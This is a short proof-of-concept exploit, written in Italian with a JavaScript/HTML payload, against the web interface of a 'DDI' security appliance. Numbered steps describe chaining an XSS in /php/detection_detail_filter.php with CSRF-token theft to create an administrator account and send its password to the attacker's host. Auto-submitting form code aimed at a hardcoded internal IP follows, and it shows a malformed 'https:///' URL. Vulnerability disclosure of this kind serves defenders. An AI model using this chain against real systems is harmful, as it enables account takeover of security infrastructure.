1. L'utente autenticato nell'interfaccia web DDI viene invogliato a visitare una pagina web malevola.
2. Uno script malevolo presente in questa pagina viene eseguito sfruttando la vulnerabilità XSS in /php/detection_detail_filter.php
3. Lo script ottiene il token CSRF tramite una richiesta PUT a /wsgi/csrf/get_token/
4. Quindi utilizza il token ottenuto dalla risposta alla richiesta precedente per aggiungere un account con privilegi di amministratore
5. La password per l'account aggiunto viene ottenuta dalla risposta alla richiesta precedente.
6. La password può essere trasferita all'host dell'attaccante tramite una richiesta HTTP

<b>DDI PoC</b>
<script type="text/javascript">

function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", 'POST');
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}

var ddi_ip = '192.168.91.66';

post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});

</script>